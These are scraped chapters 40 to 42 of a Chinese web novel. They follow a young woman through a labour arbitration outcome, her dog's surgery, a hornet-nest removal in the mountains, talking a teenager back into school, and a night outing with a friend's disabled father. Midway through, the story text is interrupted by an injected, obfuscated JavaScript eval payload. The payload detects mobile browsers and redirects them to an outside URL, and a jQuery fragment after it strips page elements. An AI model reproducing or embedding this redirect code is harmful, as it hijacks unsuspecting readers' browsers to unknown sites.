看这信封的厚度,里面的金额还不小呢。 没想到啊,这个抠门的小老太太,关键时刻还挺仗义。 常乐解释道:“应该是我姥姥放的。他们那辈人就这样,塞钱都偷偷摸摸的。” 易诚垂眸看着信封,神色有些复杂,有惊讶,有感动,但更多的是凝重。 他将信封递给常乐,说:“帮我还给你姥姥吧,就说她的心意我收到了,钱就不必了。你们一家人已经为我做了很多,不用再这么客气。” 常乐双手插兜,往后退了几步。 “又不是我给的,是姥姥给的,要还你自己去还。”顿了顿,她继续劝说,“再说了,这是给你爸的,又不是给你的,你先替他保管着呗。” 易诚拿信封的手还伸在空中,迟迟没有放下。 “常乐……” 他轻喊她的名字,语气有些无奈。 常乐绕到病床的另一侧,防止他硬要把信封塞到自己怀里。 “行了,别撕吧了,搞得我怪不好意思的。”她笑了笑,又催促道:“赶紧吃饭啊,我还得把保温桶带回去呢。” 易诚的手落下了。 他沉默地吃完了所有的饭菜,又喝完了热气腾腾的排骨藕汤。 听说,人在极度难过的时候,是吃不下任何东西的。 易诚还能吃得下饭,说明他的身心还没被击垮,一切还没有那么糟。 常乐稍感宽慰。 只要能吃能睡,人生就还有希望。 40. 40 接下来的几天,林文娟给常乐放了假,让她去处理自己的私事。 常乐先是带小狗去打了第一针疫苗,还给胜宝预约了一周后做绝育。 几天后,她又去了趟江城。上次庭审结束时,仲裁员提出要半个月后再进行调解,虽然双方都不情不愿,但这个流程还是得配合着走一走。 常乐和珍姐在劳动仲裁中心门口碰了头。 “珍姐!”常乐笑着跟她打招呼,举起手中的笼子,“看,小狗我给你带来了。” 珍姐惊喜地“呀”了一声,捧着笼子仔细端详着小狗,“好可爱啊,我女儿肯定高兴死了。” “我给你挑了只最好看的,就是……”常乐有些不好意思,“腿有点短。” 珍姐笑着说:“没事儿,小短腿底盘更稳。” “刚打了第一针疫苗,三周后再打第二针,到时候我会提醒你的。”常乐提起一个大包裹,“这里有羊奶粉、狗粮、狗盆,还有一个小狗窝,你都拿去吧,就不用自己买了。” 珍姐又惊又喜,连连道谢。 “别客气。”常乐挽着她,正要往大厅走去,“进去吧。” 珍姐站着没动,拽了她一下,又朝大厅里努了努嘴。 常乐顺着她的视线望去,看见李玉婷就坐在大厅的等候椅上。她今天没化妆,戴着个黑框眼镜,头发也没有打理,穿着一件臃肿的棉袄,看上去有些几分颓废。 珍姐轻声说:“我刚刚跟她聊了会儿,她说,中午想请我们吃个饭。” 常乐眉头一皱,疑心有诈:“她该不会是想求我们同意调解吧?不行,我不答应。” 珍姐摇摇头,“她也不同意调解。她说,想跟我们道个歉,顺便交流一下情报。” “……好吧。”常乐勉强同意。 她相信自己的意志足够坚定,什么糖衣炮弹都收买不了她。 调解意料之中地失败了。 仲裁员告知双方,过几天就会出判决结果,但是请他们做好心理准备,结果可能不如预期。 走出仲裁庭时,珍姐忍不住抱怨:“一开始我们就明确拒绝了调解,要求直接开庭,结果开完庭还要再调解一遍……这样拖拖拉拉的有什么意思?” 常乐安慰道:“大概是他们上头有规定吧,尽量调解,调解不了再开庭。还好,现在都走到最后一步了,就等着出结果了。” 李玉婷低着头,跟在她们身后,沉默不语。 珍姐回过头,“哎”了一声,问她:“老孙还没跟你联系吗?” “没有呢。”李玉婷抬起头,一脸愁容地说,“他的几个号码我都打烂了,就是联系不上他。” 珍姐嘀咕道:“你这小三,当得也真是够惨的。” 常乐赶紧用胳膊肘捅捅她。 珍姐扭头瞪着她,“怎么啦?我说的是实话。” 常乐点点头,小声附和:“是是是,咱们下去再说吧,别在这儿聊了。” 她们在仲裁中心附近找了家小馆子,点了几道家常菜。 李玉婷对常乐的小狗很感兴趣,一直在弯着腰逗它,语气很羡慕:“我也想养狗,可惜现在连住的地方都没有,只能借住在我闺蜜家。” 常乐和珍姐都没接话,等着她进入正题。 李玉婷叹了口气,说:“我知道,你们肯定很恨我。说实话,我也恨我自己,当初真不该信了老孙的鬼话,做这个狗屁法人,一分钱好处没落到,还惹上这么多麻烦——” 珍姐犀利地打断她:“所以,你后悔的不是做小三,而是做了这个法人?” 李玉婷噎了一下,结结巴巴地说:“那倒也不是……我就是……我是被老孙骗了,他说要给我买房、开公司,还说要跟老婆离婚,统统是骗我的……” 珍姐端起茶杯,慢悠悠地喝了一口,一针见血道:“所以,你只是后悔跟了老孙,而不是跟了一个真正的有钱人。” “我、我也不想做小三的……”李玉婷开始抽泣了。 “算了,这是你的私德问题,我们不关心。”常乐打断她,“当务之急是要找到老孙,不然,所有的钱就得你一个人出了。” “老孙……”李玉婷吸了吸鼻子,又擦了擦眼角的泪,抬起头看着她们,“上次跟你们说的那套别墅,你们找到人了吗?” 珍姐摇摇头,半晌,才缓缓开口:“我找邻居打听过了,他岳父岳母一家去海南度假了,不知道什么时候才能回来。” 李玉婷沉默片刻,微微向前倾身,压低声音说:“其实,还有个方法。老孙有个女儿,在英才私立学校读五年级,学杂费什么的加起来一年要十几万呢。我打听过了,这学校是一年交一次学费,现在下学期刚开学,她不可能交了钱又不去读吧?” 常乐和珍姐对视一眼。 “你什么意思?”常乐的语气有些冲,“你想让我们从他的女儿下手?” 李玉婷细眉微蹙,辩解道:“什么叫下手?别说得这么难听,我只是提个建议。你们不是找不到人吗?可以在学校门口蹲守,等他女儿一出来,就跟上去,看看是谁来接。要是她直接回家,那就更好了,你们可以直接杀到老孙家里去。” 常乐双臂抱胸,往椅背一靠,盯着她的眼睛,问:“你都计划得这么周全了,为什么不自己去呢?你就不想找到老孙吗?” “我一个人怎么去?而且名不正言不顺的,去了也是讨打。”李玉婷停顿了下,掏出手机,“咱们加个微信吧。我这里有他女儿的照片,发给你们。” 常乐坐着没动,拒绝的意味很明显。 一阵短暂的沉默后,珍姐掏出手机,扫了她的微信。 常乐匆匆吃完中饭,连一声“再见”都懒得说,左手提着狗笼,右手拖着珍姐离开了。 “珍姐,你没发现她在拿我们当枪使吗?”常乐忿忿不平地说,“一会儿让我们去盯别墅,一会儿让我们去蹲小孩。她不是说恨老孙吗?她自己怎么不去?” 珍姐攥着手机,没吭声。 “而且,对小孩下手,这种事我做不出来。”常乐见珍姐不说话,忍不住提醒她:“你可千万别冲动啊。” 珍姐转过头看着她,眼里闪过一丝犹豫。 “可是……”她面露难色,喃喃道,“那套别墅我已经蹲了那么久,一点进展都没有。老孙的女儿现在应该上学了吧?从她下手肯定更容易。” “珍姐!”常乐急得放下狗笼,扶住她的肩膀用力摇晃,“你也有个女儿,你想想,如果你女儿上学被人跟踪,你会不会立刻报警?” 珍姐蹙了蹙眉,眼神恢复了几分清明。 常乐继续说:“我不是什么圣母,只是觉得,跟踪小孩的风险可比蹲守房子大多了!人家要是报了警,说你意图绑架小孩,你就是有一百张嘴也解释不清!” 珍姐拧着眉,思索片刻,终于承认:“你说得对,这件事太危险了。” 常乐松了口气,再次强调道:“所以说,咱别搭理那个李玉婷了。她心术不正,干不出什么好事。” -- 几天后,常乐收到了一沓仲裁裁决书。她直接翻到最后一页,看到裁决如下: 被申请人需要在裁决生效之日起十五日内,一次性向申请人支付两个月的工资8000元。 怎么还给她打了个折呢? 常乐百思不得其解,于是给珍姐打了个电话。 珍姐说:“我的也少了四千。我刚刚给仲裁委打了电话,他们说,这个金额是根据我前12个月的平均工资来计算的。” “啊?”常乐大失所望。 姑且不说她在这家公司都没干满12个月,光是试用期她就干了三个月,只拿个基本工资,这一平均下来,她可就亏大了。 常乐觉得憋屈:“那可咋办?” “你 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两人隔着玻璃窗,看着胜宝被绑着四肢,平躺在手术台上,医生正往她体内缓缓注入麻药。 常乐别过头,捂住眼睛不敢看。 易诚轻轻拍了拍她的肩膀,“给你看样东西。” 常乐从指缝间望着他,“什么?” 易诚指着她身后满墙的锦旗,说:“中间那幅是我送的。” 常乐转过头,在满墙的“喵手回春”“救我狗命”“万兽之王”中,找到了一幅由“图图爹”敬赠的锦旗—— “是那个‘手起蛋落,拆蛋专家’吗?”她好奇地问。 易诚点点头。 常乐扑哧一声笑了。 “医生还把图图的蛋送给我了。”易诚一脸无奈,“就像两粒花生米,我也不知道留着这玩意儿有什么用。” 常乐笑得更大声了。 过了十几分钟,胜宝被医生从手术间里推了出来。她吐着舌头,翻着眼白,肚子上有道伤口,被缝了几针。 常乐看得心疼不已,嘶了一口凉气。 穿着白大褂的“拆蛋专家”跟她交代道:“已经打了消炎针,再给你开五天的药,回去后记得给她戴个伊丽莎白圈,防止她舔舐伤口。五天后来这里拆线。” 常乐连连点头,拿手机一一记下。 “好了,你们可以回去了。”医生将药品装进袋子里,递给她。 易诚问:“还没交费吧?” “已经交过了。”医生看了眼常乐,“她上次来预约手术的时候交的。” 易诚看向常乐,低声道:“说好了我来出的。” “哎哟,这点小钱就别跟我争了。”常乐大大咧咧地说,“本来我是想讹你一把的,但是仔细想想,两条狗你情我愿,谈不上是谁的错,所以你就别放在心上了。” 易诚垂眸看着她,眼底情绪复杂。 “常乐,”他语气诚恳,“你不用这样替我着想,这一千多块钱我还是出得起的。” 常乐摆摆手,“我知道你出得起,可你现在不是正需要用钱嘛。这样吧,等你渡过难关,有钱了再还我吧。” “行。”易诚郑重地承诺,“我会还你的。” 两人合力将昏迷中的胜宝搬进宠物箱,然后抬着箱子出门了。 今天天气不错,阳光温柔跳跃,微风吹来一丝暖意,街头的梧桐树梢也冒出了一抹新绿。 春天好像要来了。 常乐听着树上的鸟叫,忽然想起,就在两个月前,她还在担心仲裁会很麻烦,发愁胜宝的肚子,操心姥姥姥爷的事。 而现在,回头看看,这些都不是事儿。 原来,再难走的路,硬着头皮走下去,也能走完。 41. 41 周末,常建民又开着车,带常乐进了山。 常乐懒洋洋地躺在后排,翘着二郎腿玩手机。 常建民从后视镜里瞥她一眼,劝道:“心情不好就要多出去走走,回归大自然,呼吸新鲜空气。” “我没有心情不好。”常乐放下手机,“就是有点……怎么说呢,看到一个人在走向死亡,我什么都做不了,感觉很无力。” 常建民宽慰她:“你又不是神,只是个普通人。没有人能阻止死亡。” 常乐一只胳膊枕在脑后,盯着车顶发呆。 常建民继续说:“我小时候,村里有个老头进山找走丢的羊,被马蜂围攻了。他是被人抬回来的,叫得那叫一个惨,我们小孩都远远地看着,不敢上前……没过多久他就咽气了。那是我第一次直面死亡,唯一的感觉就是无能为力。” 常乐缓缓坐起身,若有所思道:“难怪你那么喜欢捅马蜂窝,原来那时候就立志要为民除害了啊。” 常建民笑了笑,继续回忆道:“后来,村长不知从哪儿请来了一个马蜂猎人,他的装备很简陋,穿着塑料防护服,拿着个塑料袋就进山了,天快黑时才回来,袋子里装着一个比脸盆还大的马蜂窝。我们这群小孩眼睛都瞪直了,那是我第一次在现实生活中见到真正的大侠。” 常乐想,也许那时候,年幼的父亲就在心里埋下了英雄的种子。即使现在,他已经五十多岁了,依然对年少时的英雄梦想念念不忘。 小车一路颠簸,终于到了村口,常乐老远就看见方凛的边三轮,停在村口的榆树下。 常乐下了车,跟坐在石头上打游戏的方煦打了个招呼,问道:“你哥呢?” 方煦腾出一只手,指了指树上。 常乐仰起头,看着方凛站在高高的树杈上,举着望远镜,远眺周围的群山。 常建民也仰着头,语气充满了崇拜:“方师傅身手真敏捷啊,跟猴儿一样。” 常乐忍不住笑了。 也许方凛,就是常建民心中英雄的化身。 他沉默寡言,冷静自持,身手矫健,临危不惧。 关键是,他帮村民排忧解难却不收钱,收常建民为徒却不要学费,真是视金钱如粪土。 不一会儿,方凛收起装备,双手抓紧麻绳,呲溜一下滑了下来。 他对常建民说:“这个马蜂窝在树上,我已经看到了,就不用飞无人机了。” 常建民由衷地赞叹道:“方师傅眼神真好使啊,跟鹰一样。” “小意思。”方凛被他夸得面色微赧,挪开视线,看向沉浸在游戏中的方煦,叮嘱道:“你就在这里等着,我们应该很快会回来。” “知道了。”方煦拖着调子,眼皮都懒得抬一下。 方凛和常建民沿着小路,一前一后地钻进了山林,常乐扛着大包裹跟在后面,一路哼哧带喘,苦不堪言。 在树林里艰难跋涉了半个多小时,方凛终于停下脚步,仰头望着树冠,说:“就是这儿了。” 常乐抬头望去,只见光秃秃的树梢上悬挂着一个硕大的马蜂窝,形状像一只陶罐。 常乐起了一身鸡皮疙瘩,双手抱臂瑟缩着,紧张地说:“咱们赶紧穿上防护服吧。” 方凛点点头。 常乐放下大包裹,从里面取出两套防护服,分别递给方凛和常建民,把最干净的那套留给了自己。 有了上次的经验,她穿衣服的速度快多了。 常建民换好衣服后,仰头望着树梢,有些发愁:“这么高,怎么弄下来啊?” 方凛胸有成竹地说:“我爬上去,把马蜂窝戳下来。你们俩拉开网兜,在下面接着。” 说完,他从包里掏出麻绳,套在树干上,双脚用力蹬树。 常乐也迅速找到网兜,跟常建民面对面站着,掀开四个角。 方凛穿着厚重的防护服,爬起树来比平时吃力。爬了几米高后,他纵身一跃,跳了下来,说:“不行,穿这身衣服使不上劲。” 不等两个臭皮匠出主意,他又在包里翻出一捆登山绳,解开,一头系上锁扣,向上用力一抛。 登山绳穿过一根粗壮的树枝,又落回地上。 他捡起绳子,另一头穿过锁扣,向下一拉,绳子立刻绷得紧紧的。 接着,他将一根伸缩杆别在身后,双手一上一下地抓住绳子,双脚在树上来回蹬踏,就这么轻松地窜了上去。 常乐和常建民都看呆了。 “这就是传说中的轻功吗?”常建民喃喃自语。 常乐扭头看着他,调侃道:“爸,擦擦口水。” 半分钟后,方凛就稳稳地站在了树枝上。他抽出背后的伸缩杆,拉到最长,冲下面两人喊道:“准备好了!” 常乐和常建民急忙拉开网兜,瞄准树上的马蜂窝,左挪右挪,前挪后挪,总觉得差了一点儿。 方凛一手扶着树干,另一只手举起伸缩杆,直捣马蜂窝和树枝的衔接处,一下、两下、三下…… 不断有碎末掉落,马蜂也陆续出洞,对这个入侵者发动空袭。 在捅第五下时,整个马蜂窝开始摇晃起来。常乐和常建民慌忙调整位置。 第六下,马蜂窝与树枝之间的衔接处彻底断开,土黄色“陶罐”如自由落体般下坠,常乐急忙向后退,常建民也跟着向前一步…… 马蜂窝直直地砸在常建民的头上,弹开后,正好撞上常乐的面罩。 她吓得啊啊大叫,双腿直打哆嗦,差点一屁股瘫坐在地上。 幸好,马蜂窝从她身上滚落,被网兜稳稳地接住。 常建民一个箭步上前,抓住网兜的四个角,将马蜂窝牢牢地罩在里面。无数马蜂趴在网兜上面,密密麻麻的,让人头皮发麻。 与此同时,方凛也从绳索上滑了下来。他从包里掏出两只小网兜,递给父女俩,交代道:“你们捉外面的,我先把网兜里的弄出来。” 常乐和常建民听从指挥,一人举着一只小网兜,在空中四处挥舞着,不一会儿就抓了满满一网,全都倒进了玻璃罐里。 收尾工作进行得很顺利。 十分钟后,三个人换下了防护服,踏上了返程的路途。 方凛在前面带路,常建民扛着大包,远远地跟在后头。 常乐刚刚被吓出了一身冷汗。此刻,她吹着山间的清风,感觉格外凉爽。 走到一块大石头前,方凛停下脚步,回头看了她一眼,似乎在等她。 “上得去吗?”他问常乐。 常乐摇摇头,不好意思地笑了笑。从上面跳下来还行,但要徒手爬上去,实在有点难为她了。 方凛纵身一跃,攀上石头,然后蹲下身,向她伸出手。 常乐迟疑片刻,慢慢伸出双手,抓住他的手。 他的指腹很粗粝,是常年爬树攀岩留下的老茧,手心干燥,抓握起来很稳当。 常乐双脚蹬在石头上,感受到一股强劲的力量,将她整个人向上提起。她毫不费力地就登上了石头。 她低着头,脸颊微微发热,小声说了句“谢谢”。 方凛淡淡地说:“小事儿,别客气。” 两人都没离开,并肩站在石头上,等着落后一大截的常建民。 方凛突然开口:“听你爸说,你是大学生?” 这个话题开启得太突兀,常乐愣了一下,才迟疑着说:“……是啊,怎么了?” 在这个年代,大学生又不是什么稀罕的物种。 方凛说:“我想找你帮个忙。” 常乐想了想,问:“补课啊?我不行的,高中学的知识早就忘光了。” 方凛笑了,眉眼多了几分柔和。 “不是,我想让你帮忙劝劝方煦,让他回学校读书。”顿了顿,他收敛笑意,语气有些发愁,“他读完高一就要退学,我好说歹说,劝了好久,才让他把退学改成了休学。可是休学最多也只能休两年,他要是再不回学校,就要被退学了。” 常乐不解地问:“他为什么要退学呢?是碰到校园霸凌了吗?” 方凛摇摇头,眉间蹙起一抹忧虑,“不是,我找他的同学和老师打听过了,没有这种事。他就是不想学,觉得读书太辛苦了,再加上现在大学生就业难,他觉得就算努力考上大学,也找不到工作,不如现在就躺平。” 常乐沉默了。 这小子,意识还挺超前。 方凛垂眸看着她,语气恳切:“你是大学生,能不能站在大学生的立场劝一劝他?比如跟他描述一下大学生活有多美好,告诉他大学生的就业前景还是很广阔的,考大学是唯一的出路,等等。” “我、我……”常乐尴尬得不敢看他。 许久,她终于鼓起勇气,承认:“我实在说不出来。我大学上了两年网课,没怎么感受过大学生活的美好。至于什么就业前景,就更别提了,我现在连份正经工作都没有,有什么资格给他灌鸡汤?我甚至觉得,他说得有点道理……” 方凛深深叹了口气,双手掐腰,眺望着远方。 “我也不是非要他上大学不可,只是他休学后天天打游戏,这样下去人都要废了。虽然跟着我学了点本事,但这一行需求量不大,他靠这个根本养活不了自己。我想让他有自力更生的能力,读书不一定是唯一的出路,但对普通家庭的孩子而言,是最好的出路,不是吗?” 常乐点点头,内心深处某个地方,似乎被触动了。 “行,我可以去劝他,但是不保证能成功。” 毕竟青春期的孩子都顽固得很,一旦决定做什么事,十头牛都拉不回来。 “谢谢。”方凛松了口气。 “不过,”常乐抬起头望着他,“你也得帮我一个忙。” “你说。” 常乐飞快地说:“回去再说。” 她瞥见常建民的身影从一棵树后面出现。他扛着大包,哼哧哼哧地喘着气。 两人很有默契地闭口不语,常乐从常建民手上接过大包,方凛抓着他的胳膊,将他拽了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787778|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人回到村口,方煦还坐在石头上,一个皮肤黝黑、身材敦实的大叔站在他身后,弯着腰,脑袋凑到前面,一脸好奇地观看他打游戏。 听到动静,大叔抬起头,看到他们,立刻笑出一脸褶子。 “哎呀方师傅,这么快就回来了?”他快步迎上来,“大家都辛苦了!赶紧去我屋里坐坐,喝口热茶。” 方凛将大包小包堆放在边三轮的车斗里,跟着大叔往村里走去。 大叔边走边向他们介绍,自己家是养牛的,今年养了十几头牛。前几天,有头小牛跟大部队走散了,不小心进了山里,出来时被蜇了一身的包,痛得嗷嗷叫唤。大叔心疼得要死,赶紧把它送到附近的畜牧站,才救回了一条命。 大叔发誓要替它报仇,所以通过邻村的养蜂人找到方凛,希望他能将那个害人的马蜂窝给一锅端了。 大叔的家是一栋二层的水泥小楼,客厅干净宽敞。几个人围坐在方桌边,桌上摆满了热乎乎的饭菜。 大叔热情地招待道:“正好到饭点了,反正你们回去也要吃饭,不如就在我家吃了。都是些家常菜,千万别跟我客气。” 方凛也没推辞,礼貌地道了声谢,便拿起了筷子。 常乐也跟着拿起筷子,夹了一块凉拌牛肉,塞进嘴里。 不得不说,养牛人家里的牛肉就是货真价实,比外面买的好吃多了。 几个人都开动了,方煦也依依不舍地放下手机,拿起筷子。 “方煦啊,”常乐又夹起一块红烧牛腩,放在嘴里嚼嚼嚼,边嚼边说,“你哥让我劝你回学校继续读书。” 方凛筷子停在空中,缓缓转过头,警示地瞪着她—— 一开口就把我卖了? 常乐迎上他的目光,直截了当地说:“你瞪我干嘛?难道他还不知道吗?这世上除了你,还有谁会操心他的事?” 方煦抬起头,看看她,又看看方凛,眼神充满了戒备。 方凛放下筷子,叹了口气,承认道:“是,是我让常乐劝你的。她是大学生,我觉得她的话更有说服力,你不妨听听。” 方煦不服气地说:“大学生又怎么了?现在的大学生还有含金量吗?辛辛苦苦考上大学,连个工作都找不到,有什么意义?” 常乐放下筷子,直视着他,坦然道:“你说的对。” 方凛和常建民都惊讶地看着她。 “七年前,我考上大学的时候,也没想到大环境会变得这么差。本科毕业,想找份有双休、有五险一金、不加班的工作简直是痴心妄想,考公考编更是难于上青天。”常乐牵起唇角,笑容有些苦涩,“我现在只能待在家里,说好听点是陪伴家人,说难听点就是啃老。” 她这么坦诚,倒让方煦有些不好意思了。他讪讪地说:“哎,姐姐,我也不是这个意思……” 常乐打断他:“你听我说完。七年前的我,根本想象不到七年后的世界会变成这样。同样的,现在的我,也想象不到七年后会发生什么事。” 方煦听得一头雾水:“你到底想说什么?” 常乐不急不慢地说:“我想说的是,你只看到了现在大环境不好,大学生就业难,但是你能预测七年后吗?也许到那时候,经济形势好转,大学生轻轻松松就能找到工作,朝九晚五不用加班,收入还会逐年增长,靠自己就能买车买房。” 方煦嘀咕道:“怎么可能?你是不是被马蜂蜇出幻觉了?” 常乐没憋住笑了,又立马收起嘴角,恢复一本正经:“未来会发生什么,谁都说不准,但是,如果真如我预测的那样,那你就要倒大霉了。” 方煦眉头一拧,“我怎么了?” “当整个社会都在向上走的时候,躺平的人是最先被抛下的。”常乐指着他,毫不客气地说,“你如果不读书,就只能学门手艺,比如理发、烹饪、木工什么的,或者进厂,在流水线上机械地工作。你会遇到一个年轻小妹,你们早早地结婚,生几个孩子。七年后的繁荣与热闹都与你无关,你只会被生活压得喘不过气。” 方煦脑袋一撇,有些不服气,嘴巴张了又合,终究没说出反驳的话。 “但是,如果你回到学校,继续读书,考上大学,你知道你的未来会是什么样吗?”常乐故作神秘地说。 方煦反问道:“你问我?你不是会预测吗?” 常乐摇摇头,“我预测不到,因为你的未来充满了可能性。你也许会继续深造,考硕考博,甚至出国留学;也许会进私企,当个高级白领;也许会考公考编,有份稳定的工作;也许会自己创业,屡败屡战,终于赚到第一桶金……每条路都有优点和缺点,但是我相信,它们都会带着你,走向光明的未来。” 方煦眼眶微微泛红。他低着头,喝了一口饮料,闷闷地说:“要是真像你说的那样就好了……” 常乐郑重其事地说:“一定会的。读书的意义就在于让你有更多的选择。人生的路是越走越宽的,前提是,你得大步往前走,再难也得走下去。永远别躺着。” 42. 42 回去的路上,还是常建民开车,常乐依旧躺在后座,优哉游哉地睡起了午觉。 “我说,”常建民趁常乐还没睡着,抓紧时间问道,“吃完饭后,你跟方师傅在院子里嘀嘀咕咕什么呢?” 常乐闭着眼,懒洋洋地说:“他要加我微信,说以后常联系。” “哟,进展迅速啊。”常建民调侃道。 “什么进展?”常乐斜瞟他一眼,“他只是想让我继续劝劝方煦。” “那你应该去加方煦的微信啊。” “……”常乐坐起身,一脸严肃地说:“爸,你是不是偷偷加入我们小区的情报站了?你八卦的嘴脸,跟那些大姨一模一样。” 常建民呵呵笑道:“我这也是关心你嘛……算了,你们年轻人的事,我就不掺和了。” 常乐又躺回后座,脱了鞋,双腿竖起,靠在车窗上,把自己折成一个直角。 常建民不疾不徐地开着车,继续说:“你刚回来那几天,你妈跟我说,你抱着她哭得稀里哗啦的,说自己没出息,丢人,不想上班,不想做驴了。” “哎哟!你怎么还记得?”常乐顿时羞得面红耳赤。 人在深夜emo时说的那些矫情的话,白天再听一遍都觉得羞耻,更不用说隔了两个多月,从她爸的嘴里说出来,感觉更社死了。 常建民笑了笑,“说实话,我们都挺担心的,怕你从此一蹶不振。现在看来,你倒是想得挺通透的嘛。你劝方煦的那些话,也可以用在自己身上啊,不要躺平,不要停止前进,不要放弃人生的可能性。” 常乐双手捂住脸,闷闷地说:“道理大家都懂,可是做起来很难啊。方煦还年轻,如果现在回到学校,读完高中读大学,七年后就可以找工作了。那时候,也许一切都会变好。那我呢?这七年,我怎么办?卷又卷不动,躺又躺不平。” 常建民沉默许久,说:“我还是觉得,人不能躺平,一旦躺下,就很难再爬起来了。” 常乐微微叹气:“可是躺着真的很爽啊。俗话说,舒服不如躺着,好吃不如——” 话未说完,车子突然来了个急刹,她猛地从后座滚了下去,双腿向前一倒,砸在常建民的脑袋上。 “哎哟——”父女俩同时发出哀嚎。 常乐整个人呈倒栽葱的姿势,卡在前后座之间,上半身动弹不得,只剩两条腿在空中扑腾着。 她捂着脑袋叫唤:“怎么回事啊?” “路口突然冲出来一条狗,还好我反应及时。”常建民揉揉脑袋,转过头,查看她的伤情,“没事吧?” 常乐手肘撑在后座上,艰难地爬了起来,转了转脖子,又活动了一下手腕脚腕。 没啥大碍,就是精神上受到了惊吓。 “我就说人不能躺着吧。”常建民意味深长地说,“来的时候是上山,你躺着还算安全,现在是下山,随便出现个意外,就能让你摔个狗吃屎,轻则小磕碰,重则脑震荡。” “……”常乐捋了捋蓬乱的头发,愁眉苦脸地说:“这种时候就别说教了。” 常建民轻踩油门,轻哼一声,神色得意,“看你还敢不敢躺。” -- 接下来的几天,气温逐渐攀升,街上的年轻人都迫不及待地换上了春装。 依照姥姥的判断,早春已至,之后肯定不会再降温了。常乐这才脱下那身黑色长款羽绒服,将它洗净、晒干,然后好好封存在衣柜里。 周三晚上,无风,无云。 夜空清朗,只有一轮将圆未圆的月亮,像缺了一瓣的橘子,悬挂在树梢间。 常乐站在“小易轮滑培训班”门口,双手抄兜,仰头望着月亮,等着易诚和易叔叔出来。 这个时间是她精心挑选过的—— 今天气温高,没有风,下雨的可能性为零,适合出门。 过了晚上十点,街边的店铺都关门了,车辆稀少,路人零星,适合骑摩托车夜游。 而且,易诚跟她说过,出院后这几天,易叔叔的生物钟是乱的,醒了就吃,吃完又睡。他吃完晚饭后一般会睡上三、四个小时。这个时间点,他正好醒着。 身后传来一阵轱辘滚地的声音,常乐回过头,笑着迎上去。 易叔叔坐在轮椅上,穿着厚厚的皮夹袄,系着围巾,戴着毛绒帽,被保护得密不透风。 他歪着头,咧开嘴角,冲常乐笑了笑。 “易叔叔,咱们出去玩儿。”她走到轮椅旁边,“高兴吗?” “啊啊……”易叔叔的嘴角咧得更大了。 易诚推着轮椅,慢慢往前走着,月光从枝叶间漏下来,在他的脸上跳跃。 他边走边说:“这么晚了,还要麻烦你陪我们出来。我爸不愿意白天出门,可能是怕见到熟人吧。” 常乐笑嘻嘻地说:“正好,我也喜欢晚上出门溜达,周围一个人都没有,感觉特别自在。” 正说着,路边的草丛忽然晃动起来,发出“簌簌”的声响。 紧接着,一个黑影蹿了出来,又飞快地钻进了树影里。 “卧槽!!!”常乐吓得一蹦三尺高,“什么玩意儿过去了?” 易诚也吓了一跳,不过他还算镇定,双手紧握住轮椅的把手,皱眉盯着黑影消失的地方,语气不太确定:“应该是狗吧……” “这么大一只?” 常乐紧张地躲在他身后,只露出半边脑袋,死死盯着那片树影。 没等多久,那只黑影又蹿了出来,还携带着一道光束,在树丛中晃来晃去。 什么巨型变异狗,还会用手电筒? 常乐和易诚蹑手蹑脚地走近,定睛一看,什么狗啊,分明是个瘦长的男人,正趴在地上,撅着屁股,手上举着手机照明。 “王哥?” “鼠哥?” 瘦长男人回过头,看到两人,起身拍了拍膝盖上的泥土,冲他们点点头。 “巧啊。你们两个约会呢?” 常乐长吁一口气,轻拍着胸口,安抚受到惊吓的小心脏。 她又气又好笑地问:“王哥啊,为什么你每次出场,都是这么……呃,惊悚?” 王哥挠了挠油腻的长发,不好意思地笑笑,说:“抱歉吓到你们了,我正在找狗呢。” “它又跑了?”易诚问。 “是啊。”王哥叹了口气,“一天要跑八百回,这都是它的常规操作了。” 常乐忍不住吐槽:“活该,叫你遛狗不栓绳。” “我栓了。”王哥一脸无奈,从裤兜里掏出一根狗绳,“可它一兴奋起来就往前冲,狗绳都给挣脱了。” 常乐和易诚四目相对,一时无言。 王哥重新趴在地上,脸几乎贴到地面,屁股撅得老高,一边举起手机,朝灌木林深处照去,一边小声呼喊:“老狗,老狗,出来吃肉干了,老狗……” 手机发出一声叮响。常乐拿起手机一看,对易诚说:“走吧,方凛已经到了。” 她又对王哥说:“我俩还有点事,先出去一趟。待会儿我再帮你找狗。” 王哥头也不回,冲她摆摆手,“去吧去吧,不耽误你俩约会了。” -- 上次,在农户家吃完饭后,常乐向方凛提出,想借他的边三轮一用,短则一晚,长则一天。 方凛爽快地答应了。 “是你要骑吗?” 常乐摇摇头,“是帮一个朋友借的,他爸爸腿脚不便,我想带他去兜兜风。” “你们有摩托车驾驶证吗?” 常乐这才想起这一茬。对哦,现在管得严,骑摩托车上路都要求有驾驶证。 “这样吧,”方凛沉吟片刻,给她出了个主意:“我来给你们当司机。咱们加个微信,你把时间地点发给我。” 易诚推着轮椅,跟常乐并肩朝小区大门走去。 门口有家大排档还在营业,颠勺的声音清脆悦耳,烧烤架冒着袅袅的白烟,孜然的香味直往常乐鼻子底下钻。 方凛和他的边三轮已经在大排档门口等候了。 明亮的灯光下,他穿着一件深棕色夹克,脚踩黑色登山靴,胳膊夹着头盔,冲他们招了招手。 常乐向易诚介绍:“这是方凛,传说中的马蜂猎人,还是我爸的师父。” “别说得这么夸张。”方凛有些不好意思,“我只是靠山吃山,跟那些进山采药的人没什么区别。” 易诚跟他握了握手,“幸会,我叫易诚,是常乐的朋友。”他的手覆在易叔叔的肩膀上,“这位是我爸。” 方凛蹲下身,抓起易叔叔的手,轻轻握了下。 “叔叔你好,今晚就由我当你们的司机了。” 易诚说:“真是麻烦你了。” “不用客气。”方凛站起身,看向常乐,眼底含笑,“她帮了我一个忙,我也要帮她一个,这才算公平嘛。” 说到帮忙,常乐想起了方煦,急忙问:“对了,你弟回学校了吗?” 方凛点点头,“揍了一顿,终于肯回去了。已经办好了手续,安排他住校了,手机也给没收了。” 揍了一顿…… 这么简单吗? 那她那场激情澎湃的演讲又算什么? “你自己就能解决,也不需要我帮忙啊……”常乐嘀咕道。 